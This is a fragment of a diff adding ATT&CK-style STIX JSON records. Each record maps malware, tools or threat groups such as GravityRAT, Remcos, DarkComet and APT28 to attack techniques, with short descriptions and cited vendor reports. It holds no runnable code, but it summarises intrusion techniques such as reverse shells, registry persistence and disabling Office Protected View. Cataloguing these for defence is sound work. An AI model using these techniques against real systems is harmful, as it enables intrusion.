file encryption (AES with the key \"lolomycin2017\").", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--394d53b3-da1c-44b4-8abf-e1092f34c8be", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.304Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can disable Microsoft Office Protected View by changing Registry keys.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--274c31fe-0724-4c26-b389-fedafa37f7df", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.174Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of creating a reverse shell.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7415b249-520c-4ec9-aa03-b12b5b22f6be", + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "modified": "2019-05-14T19:15:24.367Z", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can uninstall scripts and delete files to cover its track.", + "type": "relationship", + "created": "2019-01-29T17:59:44.421Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c88054cb-49b6-4451-a2f9-dd404453f395", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.232Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate network shares.", + "type": "relationship", + "created": "2019-01-29T18:17:59.279Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e7460f8-9ea9-4aa4-b06e-15861b02d70e", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:16.052Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can add itself to the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.", + "type": "relationship", + "created": "2019-01-29T18:55:20.763Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1be18787-844d-4135-9781-e5b6a8e76d14", + "external_references": [ + { + "source_name": "Fortinet Remcos Feb 2017", + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "modified": "2019-04-19T14:39:53.103Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) has the option to compress its payload using UPX or MPRESS.", + "type": "relationship", + "created": "2019-01-29T19:18:28.625Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c241606f-e0e2-4179-8e8d-444fb1406df4", + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.718Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) enumerates values in the Registry.", + "type": "relationship", + "created": "2019-01-29T19:36:02.824Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3598d32e-306d-421d-af3c-8c9f5d1628a2", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.710Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) heavily obfuscates its code to make analysis more difficult.", + "type": "relationship", + "created": "2019-01-29T19:55:48.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e600fe60-36d1-4053-af2f-13830d95bd14", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:43.155Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) uses SSL to connect to C2 servers.", + "type": "relationship", + "created": "2019-01-29T20:17:49.316Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a8356c2-5a79-40b7-bb8e-b7d9dffbe523", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "modified": "2019-06-30T22:44:28.285Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses WMI to enumerate installed security products in the victim\u2019s environment.", + "type": "relationship", + "created": "2019-01-29T21:33:34.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c443cc21-5f8f-4c12-8848-39c469a1c9b2", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.967Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) uses HTTP and HTTPS for C2 network communications.", + "type": "relationship", + "created": "2019-01-29T21:47:53.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0fade5f-6f66-415d-b078-f7ebf9542a63", + "external_references": [ + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.922Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can use regsvr32 for executing scripts.", + "type": "relationship", + "created": "2019-01-30T13:28:47.813Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee9da7e8-12a5-4b77-84ce-a5453874a070", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.499Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\\SYSTEM).", + "type": "relationship", + "created": "2019-01-30T13:53:14.935Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ad1048f-05ce-4bde-a570-6b4be5fbeb4c", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:22.067Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) attempted to exploit Microsoft\u2019s DDE protocol in order to gain access to victim machines and for execution.", + "type": "relationship", + "created": "2019-01-30T14:26:43.136Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9d82ba74-8cfa-4f6c-a1a0-f23fe8a738cf", + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "modified": "2019-04-16T14:51:35.334Z", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "relationship_type": "uses", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can recursively search for files in folders and collects files from the desktop with certain extensions.", + "type": "relationship", + "created": "2019-01-30T15:19:15.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--de7c6e69-dd8f-4063-aaa2-569ab767629e", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.631Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to periodically take screenshots of the system.", + "type": "relationship", + "created": "2019-01-30T15:38:21.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d920718-61fc-4e10-ad09-df0a00d69cd4", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.269Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can capture screenshots.", + "type": "relationship", + "created": "2019-01-30T16:39:54.194Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f44842c1-f17d-4bb0-8803-3eee13cf831e", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.846Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:01:20.689Z", + "type": "relationship", + "created": "2019-01-30T16:54:17.218Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b50193e-6a97-432a-8839-6bb18e88271f", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.", + "type": "relationship", + "created": "2019-01-30T17:43:28.207Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8ec75847-49fe-4404-b829-99b1e27d4682", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.062Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used compromised VPN accounts to gain access to victim systems.", + "type": "relationship", + "created": "2019-01-30T18:02:59.204Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43238f43-2cbd-40e4-8dbf-c97b9500f528", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.942Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited Microsoft Office vulnerability CVE-2017-0262 for execution.", + "type": "relationship", + "created": "2019-01-30T18:53:05.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b3f3de6-364e-443f-8b34-62073c801a5b", + "external_references": [ + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). 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Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "modified": "2019-07-26T23:38:34.163Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) obfuscates its code and encrypts the API names. [Denis](https://attack.mitre.org/software/S0354) also encodes its payload in Base64.", + "type": "relationship", + "created": "2019-01-30T20:01:45.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4881cea-8d6f-4cb6-ab86-5aab2379c695", + "external_references": [ + { + "source_name": "Securelist Denis April 2017", + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.727Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used [Net](https://attack.mitre.org/software/S0039) to use Windows' hidden network shares to copy their tools to remote machines for execution.", + "type": "relationship", + "created": "2019-01-31T01:07:58.487Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfdffc50-dba0-41d1-a332-0a02a0a8de07", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.714Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Impacket](https://attack.mitre.org/software/S0357) contains various modules emulating other service execution tools such as [PsExec](https://attack.mitre.org/software/S0029).", + "type": "relationship", + "created": "2019-01-31T01:39:56.527Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e1e5bab-151b-4be9-9c96-5cb4c66ff540", + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "modified": "2019-04-18T21:49:12.781Z", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T17:49:18.042Z", + "type": "relationship", + "created": "2019-01-29T21:27:25.336Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9e35351-d53c-4ea3-a439-d43bd636ae32", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) creates an autostart Registry key to ensure persistence.", + "type": "relationship", + "created": "2019-01-29T21:40:37.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--22260fda-fb95-4cf4-9e23-ba8662157c1f", + "external_references": [ + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "modified": "2019-04-23T21:09:54.750Z", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) uses wmic.exe for local discovery information.", + "type": "relationship", + "created": "2019-01-30T13:24:09.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4810e29-e543-4816-a6a2-d9c0b96eed07", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. 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Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:22.065Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used Port Number 443 for C2.", + "type": "relationship", + "created": "2019-01-30T14:19:17.691Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5513a256-0793-4f6b-9e59-fed2e3252419", + "external_references": [ + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "modified": "2019-07-25T14:25:53.362Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can capture screenshots of the victim\u2019s machines.", + "type": "relationship", + "created": "2019-01-30T15:19:14.988Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed8a6815-fd13-4e73-9b17-6b4025c0861c", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.647Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:52.012Z", + "type": "relationship", + "created": "2019-01-30T15:33:07.903Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e6d6b87-84fe-49ed-9b85-cf3cdfa36820", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + }, + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": 